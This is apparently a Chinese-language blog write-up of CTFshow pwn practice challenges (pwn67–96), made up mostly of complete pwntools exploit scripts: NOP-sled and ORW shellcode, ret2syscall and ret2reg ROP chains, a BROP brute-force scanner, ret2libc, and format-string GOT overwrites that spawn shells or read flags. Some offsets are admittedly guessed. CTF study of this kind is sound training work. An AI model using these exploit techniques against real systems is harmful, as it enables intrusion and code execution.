调试到query_position的地方,这里ebp-0x15可以看出来v1的地址是0xffffbba3.
img
fgets这里的第一个参数是seed的地址,可以得到seed的地址0xffffbbcc
作差可以得到距离是0x29,然后这里得到的是seed的第一个字节和v1第一个字节的差,所以再加一个4,得到0x2d

进入query_position()之前的EBP

image-20241202131935626

这里借用一下某位师傅的图

image-20240207121635900

..........

md,算集贸,看不懂,不算了,直接随便一个数听天由命吧,反正打通的概率比较大

exp

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="i386",os="linux")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show", 28216)
p=process(filename)
elf = ELF(filename)

# gdb.attach(p)
# pause()
shellcode=asm(shellcraft.sh())
payload=b'\x90'*1336+shellcode
p.recvuntil("The current location: ")
addr=int(p.recvuntil('\n',drop=True),16)
print(f"the ret_addr is {hex(addr)}")

p.recvuntil("> ")
p.sendline(payload)
p.recvuntil("> ")
sh=addr+688+0x50#本来应该是0x2d,但是我不会算,随便写个差不多的数得了
print(f"Sending: {hex(sh)}")
p.sendline(hex(sh))

p.interactive()

参考:CTFshow-pwn入门-pwn67(nop sled空操作雪橇)-CSDN博客

pwn68

同pwn67,但是是64位的

from pwn import *
from LibcSearcher import LibcSearcher

context(arch="amd64",os="linux")
filename="./pwn"

# p = remote("pwn.challenge.ctf.show", 28265)
p=process(filename)
elf = ELF(filename)

# gdb.attach(p)
# pause()
shellcode=asm(shellcraft.sh())
payload=b'\x90'*1336+shellcode
p.recvuntil("The current location: ")
addr=int(p.recvuntil('\n',drop=True),16)
print(f"the ret_addr is {hex(addr)}")

p.recvuntil("> ")
p.sendline(payload)
p.recvuntil("> ")
sh=addr+688+0x50#本来应该是0x2d,但是我不会算,随便写个差不多的数得了
print(f"Sending: {hex(sh)}")
p.sendline(hex(sh))

p.interactive()

pwn69(ORW)

参考:CTFshow-pwn入门-栈溢出 (慢慢更_慢慢更ctfshowpwn-CSDN博客

不负韶华

看到这个发现开了沙箱,而且是黑名单过滤

img

看一下沙箱,只有read,open,.write可以用

image-20241208234045020

可以得到这个ORW的固定payload

有一个要点就是利用 open 打开的 flag 文件后文件描述符是 3,所以使用的 read(3,mmap,0x100)这里也要文件描述符变成 3(因为 0,1,2 是标志的输入输出,标准错误)

shell_code = shellcraft.open("/ctfshow_flag")
shell_code += shellcraft.read(3,mmap_addr,0x100) 
shell_code += shellcraft.write(1,mmap_addr,0x100) 
shell_code = asm(shell_code)

image-20241208234222910

由这个函数可以进行栈溢出,但是问题是空间太小,只留下来16个字节,ORW 放在 buf 肯定不可行,只有 0x20 ,不够用(长度 93,所以我们只能选择吧 ORW 放在 mmap 分配的地址.这片内存可写可执行

通过ROPgadget可以看到程序中存在一条“jmp rsp”的gadget。众所周知,rsp是栈顶指针寄存器,那意味着我们可以通过这条指令跳转到当前栈顶处然后执行我们布置在栈上的shellcode从而实现ORW

首先回忆一下,在栈溢出中,ret到我们的shellcode的时候,程序已经执行完leave了,此时rbp比rsp要"高",也就是rbp=rsp-8(32位下是rbp=rsp-4)

payload = flat([(asm(shellcraft.read(0,mmap_addr,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a'),jmp_rsp,asm("sub rsp,0x30; jmp rsp")])

read(0,mmap_addr,0x100)和mov rax,0x123000; jmp rax指令放到buf中并且填充到返回地址,返回地址处是jmp rsp指令,在leave后rsp指向了返回地址,执行ret指令后rsp指向了sub rsp,0x30; jmp rsp,此时rip的指令是jmp rsp,于是rip就开始执行这个指令.因为溢出的 rop 大小受限,需要利用汇编命令来执行,

rsp - 0x30 = rsp - 8 - 8 - 0x20.也就是rsp回到了buf的起始地址,jmp rsp让rip开始执行buf写好的read(0,mmap_addr,0x100)和mov rax,0x123000; jmp rax,然后再发送提前写好的ORW,执行open,read,write就得到flag了

exp如下

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
#p=remote("pwn.challenge.ctf.show",28220)
shellcode = asm(shellcraft.sh())

mmap=0x123000
jmp_rsp=0x0000000000400a01
p.recvuntil("to do\n")

shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap,0x100))
shellcode+=asm(shellcraft.write(1,mmap,0x100))

payload=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")

payload=payload.ljust(0x28,b"a")
payload+=p64(jmp_rsp)+asm("sub rsp,0x30; jmp rsp")
p.sendline(payload)

p.sendline(shellcode)
p.interactive()

pwn70(禁用execve,RW都在栈顶上操作)

image-20241217002015482

开了沙箱,但是只ban了execve

image-20241217001954366

  • main函数

    .text:0000000000400A68 main            proc near               ; DATA XREF: _start+1D↑o
    .text:0000000000400A68
    .text:0000000000400A68 var_80          = qword ptr -80h
    .text:0000000000400A68 var_74          = dword ptr -74h
    .text:0000000000400A68 s               = byte ptr -70h
    .text:0000000000400A68 var_8           = qword ptr -8
    .text:0000000000400A68
    .text:0000000000400A68 ; __unwind {
    .text:0000000000400A68                 push    rbp
    .text:0000000000400A69                 mov     rbp, rsp
    .text:0000000000400A6C                 add     rsp, 0FFFFFFFFFFFFFF80h
    .text:0000000000400A70                 mov     [rbp+var_74], edi
    .text:0000000000400A73                 mov     [rbp+var_80], rsi
    .text:0000000000400A77                 mov     rax, fs:28h
    .text:0000000000400A80                 mov     [rbp+var_8], rax
    .text:0000000000400A84                 xor     eax, eax
    .text:0000000000400A86                 mov     eax, 0
    .text:0000000000400A8B                 call    init
    .text:0000000000400A90                 mov     eax, 0
    .text:0000000000400A95                 call    set_secommp
    .text:0000000000400A9A                 lea     rax, [rbp+s]
    .text:0000000000400A9E                 mov     esi, 68h ; 'h'  ; n
    .text:0000000000400AA3                 mov     rdi, rax        ; s
    .text:0000000000400AA6                 call    _bzero
    .text:0000000000400AAB                 mov     eax, 0
    .text:0000000000400AB0                 call    logo
    .text:0000000000400AB5                 lea     rdi, aWelcomeTellMeY ; "Welcome,tell me your name:"
    .text:0000000000400ABC                 call    _puts
    .text:0000000000400AC1                 lea     rax, [rbp+s]
    .text:0000000000400AC5                 mov     edx, 64h ; 'd'  ; nbytes
    .text:0000000000400ACA                 mov     rsi, rax        ; buf
    .text:0000000000400ACD                 mov     edi, 0          ; fd
    .text:0000000000400AD2                 mov     eax, 0
    .text:0000000000400AD7                 call    _read           ; read(0,s,0x64)
    .text:0000000000400ADC                 sub     eax, 1
    .text:0000000000400ADF                 cdqe
    .text:0000000000400AE1                 mov     [rbp+rax+s], 0
    .text:0000000000400AE6                 lea     rax, [rbp+s]
    .text:0000000000400AEA                 mov     rdi, rax
    .text:0000000000400AED                 call    is_printable
    .text:0000000000400AF2                 test    eax, eax
    .text:0000000000400AF4                 jz      short loc_400AFE
    .text:0000000000400AF6                 lea     rax, [rbp+s]
    .text:0000000000400AFA                 call    rax
    .text:0000000000400AFC                 jmp     short loc_400B0A
    .text:0000000000400AFE ; ---------------------------------------------------------------------------
    .text:0000000000400AFE
    .text:0000000000400AFE loc_400AFE:                             ; CODE XREF: main+8C↑j
    .text:0000000000400AFE                 lea     rdi, aItMustBeAPrint ; "It must be a printable name!"
    .text:0000000000400B05                 call    _puts
    .text:0000000000400B0A
    .text:0000000000400B0A loc_400B0A:                             ; CODE XREF: main+94↑j
    .text:0000000000400B0A                 mov     eax, 0
    .text:0000000000400B0F                 mov     rcx, [rbp+var_8]
    .text:0000000000400B13                 xor     rcx, fs:28h
    .text:0000000000400B1C                 jz      short locret_400B23
    .text:0000000000400B1E                 call    ___stack_chk_fail
    .text:0000000000400B23 ; ---------------------------------------------------------------------------
    .text:0000000000400B23
    .text:0000000000400B23 locret_400B23:                          ; CODE XREF: main+B4↑j
    .text:0000000000400B23                 leave
    .text:0000000000400B24                 retn
    .text:0000000000400B24 ; } // starts at 400A68
    .text:0000000000400B24 main            endp
    
  • is_printable函数image-20250730101306185image-20250730095134016

可以看到is_printable函数调用了strlen,然后main函数里有一个跳转

  • 如果is_printable函数返回0的话就跳转到打印"It must be a printable name!"字段
  • 如果不为0的话就执行call eax指令,这个地方可以利用

strlen函数会被/x00截断,所以我们只要找一个以/x00开头的汇编指令就行,这里push 0刚好符合要求

所以我们只要在要执行的指令前加一个push 0就可以执行shellcode了.这里给的长度也很大,不需要考虑shellcode的长度问题

思路一

用cat("flag")命令

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
# p=process('./pwn')
p=remote("pwn.challenge.ctf.show",28280)


p.recvuntil("name:\n")
shellcode = b'\x00\xc0' + asm(shellcraft.cat('flag'))


p.sendline(shellcode)
p.interactive()

思路二(ORW)

用汇编的原因是read会把flag读取到栈顶,write要在栈顶上读取然后写入到输出,如果是用shellcreft无法操作到栈顶

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28175)
shellcode = '''
//调用open()
push 0
//绕过strlen()检查
mov r15, 0x67616c66  #将字符串'flag'的ASCII码放入r15寄存器
push r15             #将r15寄存器中的值推入栈顶,作为文件名参数
mov rdi, rsp         #将栈顶指针移入rdi寄存器,作为第一个参数(文件名)
mov rsi, 0           #将0移入rsi寄存器,作为第二个参数(只读模式)
mov rax, 2           #将系统调用号2(sys_open)移入rax寄存器
syscall
//调用read()
mov r14, 3          #将文件描述符3移入r14寄存器(通常是标准输入)
mov rdi, r14        #将r14寄存器的值移入rdi寄存器,作为第一个参数(文件描述符)
mov rsi, rsp        #将栈顶指针移入rsi寄存器,作为第二个参数(缓冲区)
mov rdx, 0xff       #将0xff移入rdx寄存器,作为第三个参数(缓冲区大小
mov rax, 0          #将系统调用号0(sys_read)移入rax寄存器
syscall
//调用write()
mov rdi,1           # 将1移入rdi寄存器,作为第一个参数(文件描述符,标准输出)
mov rsi, rsp        # 将栈顶指针移入rsi寄存器,作为第二个参数(缓冲区)
mov rdx, 0xff       # 将0xff移入rdx寄存器,作为第三个参数(要写入的字节数)
mov rax, 1          # 将系统调用号1(sys_write)移入rax寄存器
syscall
'''
payload = asm(shellcode)
io.sendline(payload)
io.interactive()

pwn71(ret2syscall)

可以看到是静态编译

> file pwn   
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

可以利用程序中的 gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。

只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

from pwn import *

context(arch="i386",os="linux",log_level="debug")
filename="./pwn"

io = process(filename)
# io = remote('pwn.challenge.ctf.show',28163)

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408

payload = cyclic(112) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)

io.sendline(payload)
io.interactive()

pwn72(read读入/bin/sh,ret2syscall)

image-20241220235047724

程序中没有bin.sh字符串,但是有read函数.

先用read函数读入"/bin/sh",在执行ret2syscall

pwn73(静态,ROPgadget自动构造rop链)

pwn78(64 位 ret2syscall)

64 位 ret2syscall, 没/bin/sh == pad+系统调用 read(0x00)+系统调用 execve(0x3b)== pwn73

与 32 位的区别:一个是 int 0x80, 一个是 syscall; ret;

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = remote("pwn.challenge.ctf.show",28280)
pad=b'a'*0x58
rdx_rsi_ret = 0x4377f9
rdi_ret = 0x4016c3
rax_ret = 0x46b9f8
bss_addr = 0x6c1c40
syscall_ret = 0x45BAC5
 
payload = pad
payload += p64(rax_ret) + p64(0x0)
payload += p64(rdi_ret) + p64(0)
payload += p64(rdx_rsi_ret) + p64(0x10) + p64(bss_addr) 
payload += p64(syscall_ret)
 
payload += p64(rax_ret) + p64(0x3b)
payload += p64(rdi_ret) + p64(bss_addr)
payload += p64(rdx_rsi_ret) + p64(0) + p64(0) 
payload += p64(syscall_ret)
p.sendline(payload)
bin_sh = b"/bin/sh\x00"
p.sendline(bin_sh)
 
p.interactive()

pwn79(ret2reg)

这里可以先在 main 函数写 2048(0x800)字节的内容,在 ctfshow 函数会将这个内容复制到一个 0x200 大小的数组,那么就可以导致溢出 这里没有开启 NX,所以可以写入 shellcode,但是我们要考虑如何跳转到 shellcode 的地址,这里就利用 ret2reg 来实现:

ctfshow 内的 leave 命令出下个断点:img

输入 aaaa,可以看见在 leave 处 eax,ecx,edx 寄存器都保存了字符串地址 image-20250303132424442

利用溢出将 ret 覆盖为 call eax 或者 jmp eax 之类的,能跳转到输入字符串地址即可

最终就是先写入 shellcode ,然后用 call eax 覆盖 ret 达到执行 shellcode 的目的

from pwn import *

context(arch="i386",os="linux",log_level="debug")
context.terminal = ['cmd.exe', '/c', 'start', 'cmd.exe', '/c', 'wsl.exe']
filename="./pwn"
libcname='./libc.so.6'

p=process(filename)
# p = remote('pwn.challenge.ctf.show',28300)
elf=ELF(filename)
libc=ELF(libcname)

shellcode=asm(shellcraft.sh())
calleax_addr=0x080484a0
payload=shellcode.ljust(0x208+4,b'a')+p32(calleax_addr)

p.recvuntil("input: ")
p.send(payload)
p.interactive()

pwn80(BROP)

BROP 攻击技术 | PWN-腾讯云开发者社区-腾讯云

关于BROP去看官方WP

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

IP="pwn.challenge.ctf.show"
PORT=28116

def get_buf_size():
    i=1
    while 1:
        time.sleep(0.5)
        payload = b'a' * (i+1)
        try:
            r = remote(IP, PORT)
            r.recvuntil(b'Welcome to CTFshow-PWN ! Do you know who is daniu?\n')
            r.send(payload)
            output = r.recv()
            r.close()
            if not output.startswith(b'No passwd'):
                log.info("buf_size: %d",i)
                return i
            else:
                log.info("%d is not enough",i)
                i+=1
        except EOFError as e:
            r.close()
            log.info("buf_size: %d",i)
            return i
        
# 这个函数用来获取 stop_gadget 的地址
# 所谓 stop_gadget 就是那些一旦执行到这个地址就会挂起而不会报错的程序
def get_stop_gadget(buf_size, start_addr=0x400000):
    stop_gadget = start_addr
    while True:
        # time.sleep(0.5)
        stop_gadget += 1
        payload = b'a' * buf_size + p64(stop_gadget)

        try: 
            r = remote(IP, PORT)
            r.recvuntil(b'Welcome to CTFshow-PWN ! Do you know who is daniu?\n')
            r.send(payload)
            output=r.recv()
            r.close()
            if output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?\n'):
                log.info("find stop gadget: 0x%x", stop_gadget)
                return stop_gadget
            else:
                log.info("not 0x%x, try harder!", stop_gadget)
        except EOFError as e:
            log.info("not 0x%x, try harder!", stop_gadget)
        # except Exception:
        #     log.info("connect error")
        #     stop_gadget -= 1

# 这个函数获取 pop rdi; ret ,主要是使用 ret2csu
def get_useful_gadget(buf_size, stop_gadget, start_addr=0x400000):
    useful_gadget = start_addr 
    stop_gadget = stop_gadget

    while True:
        time.sleep(0.5)
        useful_gadget += 1

        payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(stop_gadget) 
        try:
            r = remote(IP, PORT)
            r.recvuntil(b'Welcome to CTFshow-PWN ! Do you know who is daniu?\n')
            r.send(payload)
            resp = r.recv(timeout=0.5)
            r.close()
            log.info("find one stop_gadget: 0x%x", useful_gadget)

            try: #check
                payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6
                r = remote(IP, PORT)
                r.recvline()
                r.send(payload)
                r.recv()
                r.close()
                log.info("bad address: 0x%x", useful_gadget)
            except EOFError as e:
                r.close()
                log.info("find useful gadget: 0x%x", useful_gadget)
                return useful_gadget

        except EOFError as e:
            r.close()
            log.info("not 0x%x,try harder", useful_gadget)

        except Exception:
            log.info("connect error")
            useful_gadget -= 1


if __name__ == '__main__':
    # buf_size=get_buf_size()
    # get_stop_gadget(72,0x400720)
    get_useful_gadget(72,0x400728)

pwn81(泄露libc中函数地址,求libc基地址,执行system)

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
filename = "./pwn"
#elf = ELF(filename)
# p = remote('pwn.challenge.ctf.show', 28280)
p = process(filename)
 
p.recvuntil("Maybe it's simple,O.o\n")
real_addr = int(p.recv(14),16)
 
print(hex(real_addr))
 
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = real_addr - libc.symbols['system']
padding = 0x80 + 8
rdi_ret = libc_base + 0x23b6a # pop_rdi_ret
ret = libc_base + 0x22679  # ret
 
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
 
payload = flat([cyclic(padding),ret,rdi_ret,binsh_addr,sys_addr])
 
p.sendline(payload)
p.interactive()

格式化字符串

pwn91(利用fmt修改栈上的参数)

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28262)
daniu = 0x804B038
payload = fmtstr_payload(7,{daniu:6})
io.sendline(payload)
io.interactive()

pwn94(利用fmt修改printf的got为system,拿到shell)

from pwn import *
context.log_level = 'debug'
#io = process('./fmt')
io = remote('127.0.0.1',10000)
elf = ELF('./pwn')
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']
payload = fmtstr_payload(offset,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline('/bin/sh\x00')
io.interactive()

pwn95(fmt泄露libc,修改printf的got表为libc中system的地址)

from pwn import *
from LibcSearcher import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
filenam="./pwn"

p = process(filenam)
# p = remote('pwn.challenge.ctf.show',28123)
elf = ELF(filenam)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# def exec_fmt(payload):
#     p.sendline(payload)
#     info = p.recv()
#     return info
# auto = FmtStr(exec_fmt)
# offset = auto.offset

offset=6
printf_got = elf.got['printf']
payload = p32(printf_got) + '%{}$s'.format(offset).encode()
p.send(payload)
printf = u32(p.recv()[4:8])
# print(f"printf address is {hex(printf)}")

system = printf - libc.sym['printf'] + libc.sym['system']

log.info("system ===> %s" % hex(system))
payload = fmtstr_payload(offset,{printf_got:system})
p.send(payload)
p.send('/bin/sh')
p.recv()

p.interactive()

pwn96(直接读栈上的flag)

脚本注意点:
recv得到的是字节流,要decode成string形式才能继续处理

不能用bytes.formhex()处理hex_string,bytes.fromhex() 需要纯净的十六进制字符串,而 unhex 更宽容,可以处理非标准格式

from pwn import *

# 设置连接方式
io = process('./pwn')  # 本地调试
# io = remote('pwn.challenge.ctf.show', 28299)  # 远程连接

flag = ''
for i in range(6, 6 + 12):
    payload = '%{}$p'.format(i)
    io.sendlineafter('$ ', payload)
    
    # 接收远程返回的数据
    response = io.recvuntil(b'\n', drop=True).decode()
    hex_string = response.replace('0x', '')  # 去掉 "0x"

    try:
        # 将十六进制字符串转为字节并逆序解码
        aim = unhex(hex_string)
        flag += aim[::-1].decode('latin-1')  # 逆序并用 'latin-1' 解码
    except Exception as e:
        print(f"Error decoding at index {i}: {e}")
        break  # 跳出循环,防止无效数据导致死循环

print(flag)
io.close()
posted @ 2024-10-14 14:21  r_0xy  阅读(601)  评论(5)    收藏  举报